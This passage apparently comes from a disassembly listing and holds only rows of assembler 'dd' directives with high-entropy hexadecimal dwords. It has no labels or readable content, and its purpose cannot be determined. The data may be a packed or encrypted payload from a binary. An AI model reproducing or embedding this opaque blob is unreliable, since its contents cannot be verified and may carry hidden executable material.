		dd 33008E5Dh, 1E5222D4h, 828E8EBh, 19FF700h, 5D6C151h
		dd 41DE0083h, 35681140h, 0D4003045h, 7433B3A2h,	286024h
		dd 565E0809h, 0E0DA37B9h, 0D8F9620Eh, 81590043h, 2CCACBC1h
		dd 0CA5D25h, 2983FD36h,	0A600EAD7h, 8BFB3380h, 0C0C7C1F9h
		dd 745CDA8Ah, 9007BD3h,	0FEEEBDA1h, 2B57A0h, 0EC9C1C6h
		dd 4963AE9h, 0D1C49D0Bh, 81FF007Bh, 0B1473CFh, 0AF71CC5h
		dd 0D6BED980h, 86094908h, 475052h, 0EA810237h, 0C5B302C0h
		dd 3C41DD7Ch, 2459BFE0h, 80F32E39h, 35FDEBFAh, 1C1129h
		dd 0C402F7Ah, 2E7915F4h, 123C7830h, 3ABA292h, 42C0613Bh
		dd 0AA884A36h, 82000B5Fh, 44F8B08h, 71091h, 7E01B311h
		dd 0BC4E1EE6h, 42D2DB1Eh, 0D0C138C0h, 1F8DDD40h, 0C007492Ch
		dd 6C8B0F09h, 670025F5h, 0FFC331F0h, 0BDC075h, 475C242Eh
		dd 33893D37h, 18265D00h, 54256C2Bh, 811A0034h, 9C07D805h
		dd 330ED1C7h, 2FE055FFh, 5713C080h, 72058E6h, 3DDDC105h
		dd 0A040A09Dh, 9000B860h, 98B903CBh, 0AB4C8Fh, 0BA1D0ED2h
		dd 125FF47h, 6100F27Fh,	0C784E48Eh, 558956h, 33280992h
		dd 123A8BB7h, 36020400h, 523F768Dh, 534F00A5h, 0C1556040h
		dd 0BA0161DAh, 48702FE2h, 934080EBh, 815203h, 6B0A74CDh
		dd 885DF7A3h, 0C3143000h, 0E3028B5Eh, 0BB550075h, 1B40F5FAh
		dd 0C9005C33h, 6E805B8Eh, 0C15385h, 60CB63CAh, 0EAD85AA7h
		dd 502B3C03h, 0E875A3F2h, 0D0854h, 21E9D0ACh, 0B3EE529Fh
		dd 3E8A4C00h, 5BDD04B6h, 0C6D200BAh, 0CA329AE9h, 5A00A4D9h
		dd 9DF0C1B0h, 63F90Ah, 1C8567Ch, 214E6710h, 91E0A4A3h
		dd 1A00BE14h, 5E2EE96Ch, 0BCABE8h, 1BAC0862h, 4AD35C0h
		dd 13418400h, 1CA92730h, 14A7EBEh, 4CB756B8h, 432D24AAh
		dd 38E0579Fh, 80008DF0h, 0B9C3C128h, 7FEA868h, 0D9E7A084h
		dd 0C794405Bh, 0BF000C1Bh, 7C4027EEh, 77EF3281h, 724F0189h
		dd 0A78B2CA2h, 8233D071h, 6BD1807h, 2EF76120h, 0A9942560h
		dd 1BBAC0CCh, 0F10B0EDh, 5D01512Eh, 0C5835400h,	0F8820F0h
		dd 0D011149Ch, 0D950ACA0h, 80076F3h, 0C76F28B2h, 8D41BBh
		dd 62535E74h, 0EE94833h, 0F52BAD09h, 0BE58058h,	18241A78h
		dd 890F5FF9h, 0A4005D79h, 694BCACFh, 510BEAh, 61101A67h
		dd 0BEA666EBh, 0B149E800h, 9AA4B2ECh, 46C013BDh, 59800733h
		dd 4BC52053h, 93F5467h,	993A000Eh, 3BAD72Bh, 5622008Bh
		dd 15D9237Ah, 5200F2E7h, 36132430h, 341831Fh, 0CF0B5338h
		dd 0CED8DF59h, 0A9FAD187h, 0F743F100h, 502F60DAh, 0C010004Fh
		dd 0BBC4D8F5h, 6C00CA24h, 0F2712884h, 39A558AEh, 8D00015Bh
		dd 0D520118Ch, 2B0F1085h, 414259CAh, 0AB83B6BAh, 8103C8h
		dd 5E025A38h, 0F51B9220h, 340276EAh, 88DAB861h,	8FD16347h
		dd 536A40E0h, 0DD0D001Bh, 1A89BABBh, 0B57332D4h, 16006878h
		dd 82524424h, 0E58607h,	0BE2130C1h, 5E9010B2h, 28334004h
		dd 71C085A6h, 49F4DEh, 2CE09E4Eh, 653E9B08h, 2B1C2400h
		dd 2F096F1h, 0E37A1C8Ch
		dd 0B5AC046h, 3826F9A6h, 0F18F060Fh, 0F7392131h, 82C087D9h
		dd 573B00CFh, 905EFC23h, 37004891h, 0DE2B858Eh,	0E537D83h
		dd 776E9E0h, 3AE78420h,	1D00D1BFh, 0B132F027h, 8F43FDh
		dd 18B02603h, 41B1A41h,	78376000h, 28C5B252h, 0D751009Ah
		dd 0B322FE06h, 17002E59h, 8CE1684Fh, 1E1489DAh,	0B8391002h
		dd 0D1815A00h, 0F69106D8h, 0CA8B760Eh, 6F7FE08Eh, 75133CCh
		dd 0B07262Ch, 64F20063h, 8100DA2Bh, 2F8A02E1h, 1E592ABBh
		dd 4092D633h, 41616ABAh, 0CF725E4Ch, 0E90FD000h, 3B20E6BFh
		dd 0B8250085h, 0E10488C2h, 83002358h, 9B7DC33Fh, 0F49635h
		dd 2778C044h, 0DB501353h, 3B4BE738h, 0B851001Ch, 74A803Ch
		dd 0C64303EFh, 6C2E49C2h, 0FA95E9C0h, 0A00B2600h, 0C5391B56h
		dd 495000A2h, 0B81D23CEh, 0D603AA0Fh, 34CEC87h,	59D8903Eh
		dd 62122C58h, 18003834h, 41E06852h, 940060F4h, 1BE3F2C0h
		dd 1990A4Eh, 0FE848ABFh, 0BD7C330Dh, 0EADF8022h, 1058262Ah
		dd 0C701005Fh, 0F245A611h, 9D003528h, 3D682BAh,	5F5ADAh
		dd 59E18E92h, 6E5524D9h, 0B1079407h, 63D02310h,	2C7326CDh
		dd 4530C3h, 5BF2DB83h, 0EC3BFFA2h, 993400F9h, 649D2822h
		dd 380F0BEFh, 0A100D480h, 60234A47h, 2844E400h,	0C52B24ABh
		dd 0C14100DCh, 0D63059DBh, 8401BC55h, 0FC021B93h, 0D14392BEh
		dd 98F4B39Bh, 0C953D39h, 58090426h, 8500C204h, 0BD9C525Eh
		dd 57A2ABAh, 0D237F410h, 15C480F9h, 3873B00Bh, 8B007E70h
		dd 4AED83EAh, 71DB2355h, 0D00200B2h, 0C2C1D387h, 0AC1CC0D1h
		dd 0FA00F581h, 5DFC96EAh, 16D248BBh, 0CB5E4000h, 0F1235B65h
		dd 1D017D01h, 5A98D8FDh, 351C7E4h, 25C64038h, 0F6A07024h
		dd 590F4955h, 2092BF35h, 0C7A34193h, 0E69C0EBAh, 56A06031h
		dd 0F767388Ah, 0DA803500h, 86571521h, 9402008Dh, 0AD919339h
		dd 0BB75436Dh, 0F052D100h, 0BE9A111Ch, 7E27848h, 1342562Eh
		dd 0D90A1004h, 54008295h, 0C9CA81D1h, 0F2935128h, 983400A3h
		dd 0FD34F83h, 4A00B156h, 0DD9AFF2Bh, 0B02643F0h, 0B96300E4h
		dd 9B484D7Eh, 500017AEh, 4C0937DAh, 0BBA353h, 0E6589E28h
		dd 0FA829B5Bh, 368AB300h, 96BA011Eh, 92B2007Eh,	918F1420h
		dd 8B70134Dh, 5DEB0C00h, 0B4CAFBAh, 87DB03F7h, 572505CBh
		dd 0F0D58183h, 9800FEBBh, 685301CAh, 39D6EB2h, 43E65F48h
		dd 27E0A56Dh, 0F300815Bh, 5392C8ADh, 0FE964B72h, 0B9282D02h
		dd 0F70BBFF8h, 88BA4h, 92EBDFE3h, 0AEC748BBh, 3752838h
		dd 0A68913F7h, 5BEBE350h, 5918E9A8h, 98515F04h,	86C04C07h
		dd 0C0A8544Bh, 0B9FD3C5Ah, 0C200034Ah, 964D2141h, 70906h
		dd 0D04B4C67h, 0D8EABA59h, 61903Ah, 0D246FC62h,	0A70940h
		dd 5DF68933h, 0A151BCB8h, 1E8120Fh, 3BE502F4h, 0ACC6E0CDh
		dd 761400EDh, 9548F697h, 9E000E2Bh, 0BEBD4A1Fh,	1DAA11h
		dd 3E09B00Dh, 35A80C5Bh, 893F0B76h, 133F7D19h, 5140007Ah
		dd 47B82015h, 4288001Eh, 0AFE8C603h, 480090B1h,	0EAC06352h
		dd 260B2D5h, 9A9EA67Fh,	0E35062F9h, 3068D00h, 2545B1EAh
		dd 693900AFh, 0E00CEB74h, 0EF8EE83h, 0B680BE26h, 37051701h
		dd 0E8FF0356h, 180938h,	32E0EDAAh, 4BCFDDDFh, 0D745F300h
		dd 8B43400Fh, 0EF8300F9h, 18D6B07Fh, 61000C07h,	28C1F7E7h
		dd 0E81597CEh, 32FC03h,	1AF6B90Bh, 0E7122346h, 0C3F81600h
		dd 0BE135FE0h, 1DBC00AAh, 11224772h, 99070949h,	6E365E68h
		dd 0AB871205h, 464283F0h, 0F607005Ch, 817554C4h, 0C05C6BAAh
		dd 0B7223EB0h, 0C00EF465h, 0F7FFC983h, 0E6B707D1h, 20C601E0h
		dd 0A55CB696h, 9A556E00h, 68FF2C1h, 0FC45013Fh,	0A8808104h
		dd 4B5FECEAh, 1D85901h,	2870278Dh, 0F506BD4h, 77C240F1h
		dd 0D81FADC0h, 4500123Ch, 0CE4443F5h, 12E162EBh, 6A087Eh
		dd 65F03CFh, 0D7017D92h, 22842641h, 14D8481Bh, 8A00015h
		dd 0E9F70225h, 3A721257h, 0D6AB7C00h, 287E1D3Dh, 4553927h
		dd 40C8EC1Fh, 0E5507803h, 0C2C0D48h, 0D700CCBDh, 0BF2846C6h
		dd 776D005Ah, 0AB7D95C0h, 0B2480499h, 7C443AD0h, 0E3BE981Eh
		dd 0F46A3B18h, 6E0700B3h, 84D08150h, 4F00AEDFh,	0DB0AB80Bh
		dd 6C0D45h, 8266215Ch, 55567508h, 0C8573Bh, 389C2BF3h
		dd 1ABE04h, 94CBC66h, 82DE83F5h, 0AFEE9403h, 0D8114240h
		dd 313967h, 0B3F124F2h,	0FBCF02D6h, 88D98B00h, 5FFD7940h
		dd 0B0C1007Ah, 0EE182C36h, 9483E3Bh, 473E91h, 1E44E70Fh
		dd 0FC90AC85h, 0BE5100F2h, 332EAAA4h, 975C1CCFh, 9CDB007Ch
		dd 73424EB6h, 26540060h, 0D16C019h, 0AA00F436h,	9ABF0B51h
		dd 1984972h, 12835F60h,	20571EF7h, 0D7EE9B34h, 7565039h
		dd 98EE7F72h, 0E9D4F710h, 9BE047h, 8C5C160h, 3181F587h
		dd 0F96FF600h, 0ED3C264Eh, 52F0D8h, 76602A7h, 91C2BD5Fh
		dd 48997000h, 5D3A8B6Ch, 5EF70393h, 30FFDE21h, 0D78960F0h
		dd 0D30BEF0Ah, 4407C31Bh, 1CC23A38h, 0D1C0F555h, 2C00A4FCh
		dd 9A3B01BBh, 694568h, 11A6DFF9h, 135E16E0h, 26007B70h
		dd 0E9875961h, 0A819FBh, 0F7287862h, 0F0252E32h, 48D28500h
		dd 5535C587h, 93440289h, 14823809h, 0D9028D40h,	54C98107h
		dd 0C830A3FDh, 4CA01341h, 0A2007A48h, 0CCC3DF15h, 0BD006902h
		dd 4047730Ch, 0B516CCDh, 0AA602D4Fh, 0B007C2F8h, 2CEBB9Ch
		dd 0B062840h, 5B960086h, 82AA01F0h, 592C16A2h, 803AA82Bh
		dd 17204083h, 0D613B8h,	8992416Eh, 3097480Fh, 9305873h
		dd 6C542ADh, 9EE550FFh,	8137033Ch, 161FC827h, 95AAFE00h
		dd 0C972A270h, 1ECAF0E2h, 3E5A3F6Dh, 3AC8EF02h,	9C800281h
		dd 5F8A1C7Ah, 2FEAC5E2h, 0CD0EFC71h, 0F8C10Eh, 0F4525154h
		dd 6B1924E8h, 1061032Dh, 0E1A025A5h, 64187BC3h,	69FAEA54h
		dd 0A1A25ADDh, 16D6201Ch, 0DC892D03h, 0D04CC878h, 0F35513h
		dd 8ECC3053h, 0A166B9Fh, 2502D800h, 9C59C544h, 38920069h
		dd 0FE9782DDh, 7A3F7FC8h, 22168093h, 0D228EB27h, 0EC65E26h
		dd 0F4C13212h, 0F80DCC88h, 0F21F2118h, 20C1531Eh, 56511270h
		dd 3875B8DCh, 0F300FA48h, 31F8783Fh, 1E0E09DBh,	3974C9h
		dd 0E83CAC37h, 7C37E71h, 75427D82h, 80E99404h, 4945B927h
		dd 8BE7EB00h, 7D608006h, 0D74005Ah, 3A07168Ah, 7500F555h
		dd 80E0D4EDh, 18C0ABh, 4ED69029h, 0FBF9C506h, 0E91B4300h
		dd 5BB0A033h, 0BF59005Eh, 34D94074h, 5024F66Bh,	76004C09h
		dd 0CA03FDA2h, 838900C3h, 7718124Ah, 2C0053F4h,	0C8C1D830h
		dd 574C9Dh, 6EC20935h, 0BCC68017h, 2CD0110Eh, 31EF0098h
		dd 46F676h, 132FF0AFh, 89FD2B92h, 2700E9E2h, 0D23F4C60h
		dd 146E0B04h, 0E27EE210h, 0BAD31C00h, 0C16ACF2Ah, 0DD83E300h
		dd 15060319h, 0ED81005Dh, 4D1D0217h, 0E00BB55h,	25A7D822h
		dd 2E8223DBh, 56E35Dh, 9C401EEh, 0BA771827h, 21289501h
		dd 0D1037558h, 0BDFAC8h, 1216D6D2h, 3265DDC1h, 0ACF45DF4h
		dd 0B2BB1307h, 30545749h, 5AF2C8C0h, 0D49F0014h, 0B07871F3h
		dd 3A750B7Ch, 90314F1Fh, 0C7FAB80Eh, 72E104BFh,	81608427h
		dd 357C0FB7h, 4983944Eh, 68800253h, 5600E283h, 0F0B65ABBh
		dd 3F4DD540h, 8180EA8Bh, 0A91D0FF5h, 0B25C6144h, 0F939DDh
		dd 0E7136E2h, 822694h, 25D7A3B3h, 0BA2D2053h, 48B76200h
		dd 42B089A4h, 0CDFA0161h, 0F25B5D0Fh, 0EFF97066h, 0C35F2400h
		dd 9FB0C7FFh, 3C9E7EF8h
		dd 5780CFC9h, 8137FD1h,	5000A5A3h, 53B5800Bh, 41BBB9h
		dd 4FB82D30h, 4887DC03h, 850F1203h, 0F09CF178h,	4C512Ch
		dd 98741FB7h, 0B26A09DEh, 4A9EEF00h, 0D4914002h, 4F770043h
		dd 0D3301B48h, 237E11B0h, 7C68F100h, 0C432BD12h, 319400C9h
		dd 81D6C183h, 0EE03905Eh, 352C17F7h, 850EE09Ah,	491D0344h
		dd 5D4CF9EAh, 81DE8BB0h, 0FA2CC07Dh, 0DB020E9Dh, 0E006BA0Eh
		dd 1C5B11CBh, 6546B0h, 5AD71353h, 0F100CAC1h, 3963B887h
		dd 481CEh, 0A3D56424h, 42AA1C95h, 92E3F11Dh, 199B7241h
		dd 0A9FC8AACh, 1D38005Bh, 0E9F11C98h, 8BE62154h, 8D0009E0h
		dd 41836E49h, 3F910F4Ah, 4B01805Dh, 59D38C01h, 0C3A24095h
		dd 0F00618Fh, 5677468Dh, 0E0CFB9B3h, 6851009Ah,	182E0E91h
		dd 87005EACh, 17BC1B2h,	53D1F0h, 1B51D9F7h, 1621B971h
		dd 6657F10Eh, 35B400C2h, 2CC3F268h, 94532Ch, 0E1CD6FC8h
		dd 3603603Dh, 0C2A32027h, 0D078F809h, 1830059h,	0C3B8D9E8h
		dd 0FD005871h, 0FE2ACDCh, 5029C0h, 9B436BC1h, 0BFF3F821h
		dd 35055100h, 1BC2BA7Bh, 36C00008h, 0AA4AE902h,	0E706407h
		dd 0D2C1C700h, 0CDCA8351h, 2B7C005Ah, 0A99858E6h, 4F00EEF4h
		dd 5CBE3179h, 7E773h, 2B870B08h, 0D1DE25D9h, 0DB0F33E8h
		dd 0E0D2F561h, 623B2023h, 0ECBC1C85h, 5CB50004h, 69CCCB2Eh
		dd 0B329B403h, 0B8B024F7h, 267F1h, 4A769AD5h, 28277AFAh
		dd 0BC7B5B1Ch, 0FB83D300h, 840FFFh, 2F82574Bh, 58938B56h
		dd 535C2400h, 111CC0BAh, 0E7A209BBh, 0CB80739Ah, 7924C64Dh
		dd 92BE3D02h, 0C018264Ch, 681ACCh, 600AF5EDh, 0ECEC076h
		dd 5A9FF700h, 8C624DB9h, 121A0039h, 0C7B3DFD9h,	0CF001316h
		dd 0F58BD6C0h, 383B246Ch, 0EC00C849h, 0C2C1D43Fh, 0C900A8CDh
		dd 364F92BBh, 1F723B44h, 801BE4B4h, 9E67C05h, 1005A54h
		dd 673EBBADh, 7779244h,	3908A2C7h, 836A008Dh, 11004E43h
		dd 6E0FDB81h, 72450575h, 695F00D2h, 2E65932Bh, 4F007909h
		dd 46928F99h, 5985D8h, 280378F9h, 0F113C358h, 0D03F4800h
		dd 190F62Fh, 0A13600FFh, 56F926F4h, 27707EC0h, 0CE6F6600h
		dd 0ECDAB2DBh, 0E6E23E69h, 164B6200h, 96EE022Ch, 75A13900h
		dd 0DEECB95Eh, 4DFC2E2Ah, 53080055h, 1C90949Bh,	0E39C5FEh
		dd 0B180962h, 106080DCh, 1C27D25h, 0DD2D9A46h, 0E0658CEAh
		dd 2E030814h, 762F03Ch,	0B860A858h, 88BA00E9h, 40FFC90Bh
		dd 209810DBh, 0AB794D00h, 6A05624Ch, 0C9A10116h, 899AA014h
		dd 0B445C01Bh, 6BA41D01h, 0F7A9CA2Ch, 3B09D4h, 0D2477060h
		dd 0A6C5E24h, 0B0BF1609h, 0C5090052h, 0C302AEh,	3A6B4655h
		dd 90A45304h, 0E6C181A0h, 63B0AF00h, 694CC225h,	0F8BE0E5Ch
		dd 0DA4046D3h, 0F422B253h, 0FF2E58h, 96E2D683h,	5E936Fh
		dd 0A7302413h, 48271611h, 0D26C0800h, 8354360Fh, 525A1629h
		dd 0BA35007Dh, 0C645338Eh, 2CBCC900h, 0B09F7146h, 6E2E0007h
		dd 0E1252347h, 13E2453Ch, 0BFD5A000h, 20DD8271h, 957A0044h
		dd 810FCC4Ah, 8B00D705h, 0C027EF4Bh, 0D421BCh, 0B7B028Fh
		dd 0DF87F92Bh, 1800E177h, 102E066Dh, 3D7C054h, 53896556h
		dd 0FED8BBF5h, 21010B40h, 0D3CBA02Dh, 0D2D0F781h, 1DF31857h
		dd 0BB046429h, 0C158F601h, 0FC1B5BA8h, 183870h,	0B4432AAAh
		dd 83A09F22h, 525F38h, 8153418Fh, 3ADEEAh, 7760E7D7h, 24375AD9h
		dd 0BE8C3F00h, 4B440A8Dh, 3C520127h, 0B05E80ADh, 0B8FED8CFh
		dd 0D94D8100h, 71C84C7h, 0C0FF00BCh, 0F98F30CBh, 6E38987Ah
		dd 594DA42Ah, 0F55A9703h, 7356005Eh, 9574F329h,	5100150Bh
		dd 270A8893h, 4A5AEBAh,	87442CBFh, 0DBE3C03Bh, 5B045560h
		dd 0F312B059h, 1A09987h, 0A53C8Ah, 67962BE9h, 0CE695831h
		dd 0C00009E6h, 0E4259EA6h, 3DA0134h, 0F5AE35D8h, 29E848E1h
		dd 130B5B15h, 0F66D47CAh, 40B50040h, 0EAFB0318h, 0D6EEC703h
		dd 0A013899Dh, 0D2A5ACh, 33E80954h, 0C17A0135h,	3E38F000h
		dd 0DF0502FCh, 0FFFD0060h, 0CA845FA9h, 4C7F29CBh, 0ECFAE275h
		dd 27414400h, 0FEF02BCEh, 0F5DC07BFh, 0C0A3C553h, 0C2F0852h
		dd 42F37E1Eh, 50002FE6h, 0F1C4DFB8h, 0E52D48C1h, 8B005658h
		dd 1B62241Ch, 0C2001889h, 0AF1FFD0h, 757FBA4Dh,	5FD400BDh
		dd 5CFCE3C9h, 0A40027E2h, 5093497Dh, 26094023h,	8CC603h
		dd 72E99590h, 2E000BE0h, 0C08A565Dh, 11748Dh, 911EB8CFh
		dd 90BE8050h, 0D1CED60Eh, 57CA056h, 3E62B975h, 6E8040F5h
		dd 0FE929FE9h, 4902073Dh, 0EB06BF51h, 0BE19E05Eh, 598B00FFh
		dd 87FC1A40h, 1C12C1E6h, 780706C6h, 0BE1C91Eh, 0E8EB39DFh
		dd 0C8DE05h, 0B541BE63h, 0D5013AE4h, 76408301h,	580C9E02h
		dd 0A19D0C8h, 0BF911506h, 47C517CEh, 907FCFECh,	64BE367Eh
		dd 0F2002BE2h, 562C9263h, 0FB2D1Bh, 583E7C5Fh, 2AB01440h
		dd 0E438B100h, 0E8510118h, 78BD1D5Ah, 148DC08Ch, 23B2BA07h
		dd 0C28B4501h, 48AED5D3h, 0C305D0h, 0E788100Ch,	608EF2DEh
		dd 3A181200h, 4A56510Fh, 0D6940050h, 0EF62EBA5h, 2400275Eh
		dd 0C17D3580h, 7314C0h,	4A989EB8h, 848DEB30h, 58501107h
		dd 2B1027D6h, 8060C2h, 631215E8h, 18E5985Dh, 97D2410Fh
		dd 7BC950h, 0A70467BDh,	301C0025h, 0AC908456h, 0B5000396h
		dd 51409536h, 5D7D18h, 1142B458h, 94EA8339h, 54D02B03h
		dd 0D70A4A5Ch, 3BE823F0h, 43D10081h, 599FD983h,	5717CC30h
		dd 0A900DAA1h, 74FF1906h, 816C2E22h, 809A1E3Bh,	8D5F735Bh
		dd 3001F7Fh, 966A7A89h,	394C17h, 7CF30827h, 0EA012024h
		dd 3A5C6400h, 0C8A2601Eh, 1AB013h, 9D626C3h, 0A70B385Eh
		dd 0A6CE4100h, 0B4086648h, 2DC30EB5h, 1140322Bh, 0FC5E6059h
		dd 0E8145200h, 27F9BE88h, 7A185C57h, 6E2D007Dh,	50CC9051h
		dd 0BD070968h, 60AE0B3Fh, 0F369C00h, 87131C4Dh,	2FC600F0h
		dd 0B88F321Ch, 0F1004170h, 0E8C28CD4h, 0B8F43F17h, 29C0F5CDh
		dd 3C11E87h, 0D95E41F8h, 0E810FE86h, 51261F70h,	9200A450h
		dd 0FF070853h, 0E4230F24h, 830040F0h, 48FCB4E8h, 0C416ED00h
		dd 6EE13B22h, 0EA20EF20h, 7A0B005Bh, 617C96D1h,	6000306Fh
		dd 0ABE2C13Dh, 4D6583h,	36129A5Dh, 16C0D605h, 56012598h
		dd 72470794h, 8C40EF83h, 28852F8h, 684A1A96h, 71E02389h
		dd 0D003C041h, 0B654F92Dh, 58F400CCh, 8350FB2Bh, 0B80089D8h
		dd 400F0A26h, 74696F2Ch, 81270304h, 5058C36Dh, 53844E0h
		dd 0C71ED290h, 0C5804789h, 0D2B86909h, 0DC22006Ah, 0D98065C0h
		dd 38002AEFh, 5F012D3Ah, 0F4029489h, 4847706Dh,	0E200DECAh
		dd 16531B7h, 0D70FB930h, 402F8548h, 403FCA32h, 5ADB0F99h
		dd 0F64382B0h, 0C69158B8h, 0EDD0E44Fh, 0B51BF00h, 83DDCB59h
		dd 0AAF300E9h, 898DB3C8h, 0D3005405h, 4052E0EAh, 33C9374h
		dd 0B09C98EEh, 3C8C4B2h, 9A0F8042h, 0A0680533h,	3BF20108h
		dd 0C4660057h, 2F39DAF7h, 0CA002B14h, 485ACBC2h, 1D2C4C83h
		dd 80F6DDB8h, 3E6EE958h, 0F207A8EEh, 42113B5h, 20F90E39h
		dd 0B9F34BB2h, 0A3AE097Bh, 7080A997h, 64590A92h, 0EB819B00h
		dd 33B9521Dh, 486A00DCh, 6869C92Dh, 0A570BAEEh,	0DA443600h
		dd 0F77DC283h, 0B01198D2h, 15B23A74h, 57E3D800h, 0CCCF69F6h
		dd 3E411901h, 0E5513748h, 7CBCCC30h, 0C2C117EAh, 0ADAD0FABh
		dd 2B5AB6E1h, 26E1303Eh, 2CF82900h, 5B77143Dh, 7840780h
		dd 703E9D7Ah
		dd 520231BAh, 0C7E75100h, 803B8F42h, 10E095D3h,	8B13246Ah
		dd 59009FCAh, 846806C1h, 2E8A00D9h, 0E1077E27h,	0C20EB630h
		dd 8081355Ch, 7569FA7Bh, 0E88E0748h, 0C12BCD26h, 7056831Dh
		dd 0E9009FD3h, 0B61A6213h, 112B4A2h, 8516ADDAh,	0F40BCA8Ch
		dd 0C200D6D0h, 13778F59h, 9C8C106h, 0F748E01Bh,	5B11CA81h
		dd 467330DEh, 1ABE5500h, 15B0A0C6h, 5949005Ch, 4373750Dh
		dd 0C382029h, 5EB70071h, 0F581EE87h, 67F0B5Fh, 0DB80E833h
		dd 620936F8h, 56D6F700h, 0F1E2070Bh, 26A72E51h,	0D5F503FBh
		dd 6B90AD87h, 0DA001789h, 0C583014Eh, 6C8D48h, 4C28724Bh
		dd 3D91CC97h, 338E5B00h, 0E990EFC2h, 6AAB00C3h,	1931205h
		dd 73001EF6h, 4761ED46h, 8ABDC5h, 1C597906h, 8C02C293h
		dd 4EF39A03h, 0E065C956h, 30510ADh, 3D2E8A1h, 0EDB8B1C7h
		dd 0F50C31F3h, 66A16C1h, 0F05800E5h, 0C52712A3h, 70000B0Fh
		dd 149CBCE6h, 295F298h,	0D18B30A5h, 0E1821A11h,	0A940CB41h
		dd 430048EBh, 0A2CA345h, 0A40C347h, 4A0942B8h, 0CF9600ECh
		dd 8D191372h, 595A4801h, 49A44C9Ah, 0A02F9D71h,	0EC004211h
		dd 8F9D4B33h, 7F08486h,	147F98D5h, 4FA1E0EBh, 0E203ADC3h
		dd 90DF4459h, 4A758822h, 0BB69004Dh, 2BB61881h,	45003AC3h
		dd 0E3645891h, 757049Eh, 0F89C3EBFh, 2E73B0FAh,	80000E18h
		dd 84D78170h, 41C485h, 307FCA6h, 2217C7D6h, 9F3B1471h
		dd 89098012h, 135A5030h, 0B6E6D2h, 0C9818019h, 0DA9FA062h
		dd 4C33760Fh, 69CBC064h, 461099h, 923C600Bh, 17222813h
		dd 0F4A15900h, 38C629A0h, 4A120C40h, 8888248Ch,	742AE109h
		dd 54DC28h, 65D81B25h, 0E80024A8h, 0B6594B8Fh, 0E41227h
		dd 0D629A6D1h, 35586CAAh, 802FE53Ch, 6B04D288h,	0B49053Dh
		dd 1EE5DE2h, 0AEF41F01h, 0F00CD40Dh, 8D138E00h,	68A82858h
		dd 0EC4500B1h, 1AAEF26Eh, 0E807AD53h, 4E43774h,	45C2DA10h
		dd 0D77D2Bh, 0BCD056F5h, 0B0632EAFh, 0E9183102h, 0C004C4ADh
		dd 3F6B82Dh, 4AC71D48h,	0C0D556AEh, 293016A1h, 181DB00h
		dd 94CD10D0h, 309B0DCh,	5D693222h, 0C7F04B66h, 4E035399h
		dd 2BDFF721h, 0E0C1F041h, 0D2330E1Eh, 0E7C0DCC2h, 532E08F3h
		dd 983F38h, 695462EEh, 0B85E42h, 0CA1F05EDh, 0C04E3BC7h
		dd 0BC05C8FEh, 0AE8A1201h, 3EAD0C0h, 1ABF1DD0h,	0C2FD49E8h
		dd 491DAC80h, 2673E985h, 0C0110400h, 34BDEAAh, 0CC74004Eh
		dd 83025EB6h, 4004742h,	8051D50Bh, 0BAB982h, 0CFDE4AD2h
		dd 2DE82644h, 0FB2F500h, 0F6847B48h, 7C8B0070h,	12D3A358h
		dd 7D0B0E26h, 800669E8h, 7FD23F17h, 327700EAh, 5AFAF4EFh
		dd 4B71A7A4h, 0CCE80400h, 90B42FC4h, 3BF80101h,	0C16BFF7Bh
		dd 1CD4E4BCh, 43C48A00h, 29E88415h, 0D3C700C9h,	5DEAF33h
		dd 922C1E44h, 8307A036h, 0C831FCBCh, 0FAE9FF14h, 0C3B420h
		dd 5EE6D665h, 4FBB88EFh, 0CF4AA103h, 0C92E5649h, 4E85384h
		dd 7E576A9h, 16FEC383h,	23023074h, 7600870Fh, 69DAC54Ah
		dd 1FA9CBB7h, 49FAB4h, 46175310h, 640E19BCh, 1EC49256h
		dd 0E2CB8180h, 3C4930h,	5CB2507Dh, 5B130796h, 0F1B0F326h
		dd 0D74A9C3Ch, 83B97300h, 0BAB5CAh, 3C913739h, 0BFEA17DEh
		dd 0C8A44005h, 67C0472Eh, 6205258h, 2C080999h, 9200B25Dh
		dd 0F6400AD7h, 700C605Fh, 0A30B00E9h, 5C8DD68Ah, 39000953h
		dd 2BA6EB83h, 5412ADh, 0FAF3A5C8h, 5A8425E2h, 7216A92Eh
		dd 0B81871Ch, 0CC5E4BF1h, 2543F0h, 8AB076Dh, 0BB167E52h
		dd 0E5EF601Fh, 0BEC034DCh, 490ECE1Ch, 12365C14h, 92E61Dh
		dd 8478E2F6h, 3598AB66h, 526F8B31h, 5C9F0BDFh, 33B0C0BEh
		dd 3C27978Eh, 520051F6h, 5313ABAh, 0E8290C2h, 66B2D48Bh
		dd 203BD7C7h, 0CE32A75Ah, 4BC9500h, 4CE03916h, 122D00BEh
		dd 0F2AB46E3h, 78000B25h, 9056365Fh, 710E991h, 30317E1Ah
		dd 43A87070h, 400727A5h, 3832BF6Eh, 724C4410h, 0EF8300C2h
		dd 0B41D686h, 0F00011F6h, 358C0C67h, 7462C8h, 4EA7B059h
		dd 831893E7h, 5212B200h, 0C86E2D45h, 0BE3C00C0h, 0FCFD69E6h
		dd 2EF27C81h, 0D2260D76h, 1A001852h, 49A090B9h,	98030058h
		dd 887BB554h, 3A0FC0A7h, 8040087Fh, 0BBB6BDD2h,	0F00F00EEh
		dd 0E2B4B902h, 55260446h, 12007332h, 0A649C567h, 162A1E1Eh
		dd 4289400Ah, 0E8612050h, 924AEF13h, 404BB10Eh,	585718A1h
		dd 40800006h, 102389C7h, 9A03BA0Fh, 5E863B4Ah, 69EBB884h
		dd 0E4FA015Ch, 0F61B1C13h, 0D660DA68h, 0FDF6D681h, 2C537C00h
		dd 0C006565Eh, 76E00088h, 0BB15568h, 38054CA4h,	2344AC0Eh
		dd 0F0C24D80h, 35A201A0h, 48FA873Ch, 0C3D26002h, 574F4100h
		dd 0B440C771h, 7492002Eh, 2B27A290h, 0EE0063F5h, 24DA81E0h
		dd 3CA7B09h, 0C3645660h, 2C924E31h, 9CFBCEE0h, 0E8958500h
		dd 87F50E09h, 2B300F9h,	56BE5729h, 1307A88Eh, 0F6121BE3h
		dd 93361E70h, 4EC8004Ch, 5AB90B9Ah, 5900478Ch, 0CABF8443h
		dd 93DB0C3h, 0E8215DC7h, 141A6180h, 0F00AEA2h, 0DA92BA0Dh
		dd 16F5240h, 28A6F048h,	8001B61Dh, 0FDAEBF8Ch, 0E5B5C5h
		dd 63567A1Bh, 4BC2F71Ch, 27241E0Bh, 0F9B98081h,	3C952151h
		dd 0E9834338h, 802EA60Ah, 0E353EF90h, 3231500h,	82B9D70Dh
		dd 24A40097h, 0ED28548Ch, 0AB2EFA40h, 0A3245C56h, 575C8800h
